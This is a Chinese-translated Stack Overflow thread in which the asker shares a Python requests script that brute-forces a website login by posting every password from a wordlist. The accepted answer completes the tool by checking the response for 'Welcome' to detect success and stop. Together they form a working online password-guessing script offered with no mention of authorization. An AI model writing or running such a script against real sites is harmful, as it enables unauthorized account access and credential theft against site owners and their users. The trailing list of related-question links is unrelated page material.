python - 如何知道何时使用 Python 的 Requests 模块向网站发送 “log in” ?

标签 python python-requests

我正在使用请求模块编写一个暴力破解密码脚本。如何查看我是否成功登录网站?

url = sys.argv[1]
user = sys.argv[2]
file = sys.argv[3]
varuser = sys.argv[4]
varpass = sys.argv[5]
passwords = open(file, "r").read().splitlines()

for p in passwords:
    payload = {varuser: user, varpass: p}
    requests.post(url, data=payload)

最佳答案

这取决于网站。一般来说,您可以在响应文本中搜索某些字符串:

...
    r = requests.post(url, data=payload)
    if 'Welcome' in r.text:
        print('SUCCESS!')
        break
...

关于python - 如何知道何时使用 Python 的 Requests 模块向网站发送 “log in” ?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/32095598/

相关文章:

python - 遍历列表并将满足条件的元素保存到新列表

python - 无法更改 node-gyp 使用的默认 python 版本?

Panda Dataframe 的 Python 并发 Future

Python请求在localhost返回504

python flask : Send file and variable

python - 无法通过 Azure SDK for python 设置 TDE

python - 用单独的颜色填充 Matplotlib triplot 中的三角形

python - 如果元素总和为给定数字,则追加到列表中

python - 使用python收到错误后如何继续请求库功能?

python - 请求.exceptions.ConnectionError : HTTPConnectionPool